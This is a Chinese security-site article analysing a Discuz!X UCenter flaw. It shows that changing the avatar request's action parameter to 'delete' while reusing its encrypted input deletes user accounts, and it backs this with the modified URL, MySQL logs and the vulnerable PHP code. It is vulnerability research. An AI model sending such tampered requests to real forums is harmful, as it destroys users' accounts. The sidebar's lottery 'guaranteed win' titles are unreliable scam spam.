ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全安全文章 → Discuz!X 个人账户删除漏洞

Discuz!X 个人账户删除漏洞

时间:2018-04-20 12:09:09人气:作者:本站作者我要评论

Discuz!X 个人账户删除漏洞

环境信息

操作系统:ubuntu 16.04.9

Apache + PHP 5.6.34

数据库服务器:localhost

数据库名:Discuz

数据库用户名:root

数据库密码:root

数据表前缀:pre_

系统信箱 Email:R7st@whsgwl.net

实际测试

设置头像处,上传头像确认后抓包
http://localhost/Discuz3.4/uc_server/index.php?m=user&inajax=1&a=rectavatar&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2BGeNoESfEmoubeoDUlckUvZMIWdTSLiuTWOmwSEqCw2BVvVl%2FxuwWYGykE7bb4lBUjznYjw7Ufd1Xqh9%2BDZF7XSX8oI&agent=133ea994f4cd4c25b454a3c6e19b841f&avatartype=virtual
修改地址为:
http://localhost/Discuz3.4/uc_server/uc_server/index.php?m=user&inajax=1&a=delete&appid=1&input=fb2eaZ3IEhpkSVtlUIyTnButMJri%2BGeNoESfEmoubeoDUlckUvZMIWdTSLiuTWOmwSEqCw2BVvVl%2FxuwWYGykE7bb4lBUjznYjw7Ufd1Xqh9%2BDZF7XSX8oI&agent=133ea994f4cd4c25b454a3c6e19b841f&avatartype=virtual
可以看到修改了GET参数a为delete
访问后页面回显 2
退出登录 , 重新登录后发现用户名密码不对
查看MySQL日志
SELECT uid FROM pre_ucenter_protectedmembers WHERE uid IN ('1')
DELETE FROM pre_ucenter_members WHERE uid IN('1')
DELETE FROM pre_ucenter_memberfields WHERE uid IN('1')
发现删除了两个表内 uid为1的字段

代码分析

/uc_server/control/user.php

function ondelete() {
        $this->init_input();
        $uid = $this->input('uid');
        return $_ENV['user']->delete_user($uid);
    }

获取uid,并赋值给$uid 然后传入到delete_user()方法中,跟进方法

/uc_server/model/user.php

function delete_user($uidsarr) {
        $uidsarr = (array)$uidsarr;
        if(!$uidsarr) {
            return 0;
        }
        $uids = $this->base->implode($uidsarr);
        $arr = $this->db->fetch_all("SELECT uid FROM ".UC_DBTABLEPRE."protectedmembers WHERE uid IN ($uids)");
        $puids = array();
        foreach((array)$arr as $member) {
            $puids[] = $member['uid'];
        }
        $uids = $this->base->implode(array_diff($uidsarr, $puids));
        if($uids) {
            $this->db->query("DELETE FROM ".UC_DBTABLEPRE."members WHERE uid IN($uids)");
            $this->db->query("DELETE FROM ".UC_DBTABLEPRE."memberfields WHERE uid IN($uids)");
            $this->delete_useravatar($uidsarr);
            $this->base->load('note');
            $_ENV['note']->add('deleteuser', "ids=$uids");
            return $this->db->affected_rows();
        } else {
            return 0;
        }
    }

相关文章

猜你喜欢

  • 深入解析浅谈《快3单双准确率方法》成功方案

    2022-09-28 /

  • 全网首发《快3单双大小必中方法技巧》思路汇总

    2022-09-28 /

  • 资深攻略《快3大小必中技巧》上岸方法

    2022-09-28 /

  • 【最准确的玩法】《回血上岸计划导师QQ》操作系列

    2022-09-28 /

  • 经验教程《导师一分快三计划》最新窍门

    2022-09-28 /

  • 高手教你《大小单双最安全的打法》三期必中

    2022-09-28 /

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

本类推荐

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 琼ICP备2021004244号-1| 琼ICP备2021004244号-1

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网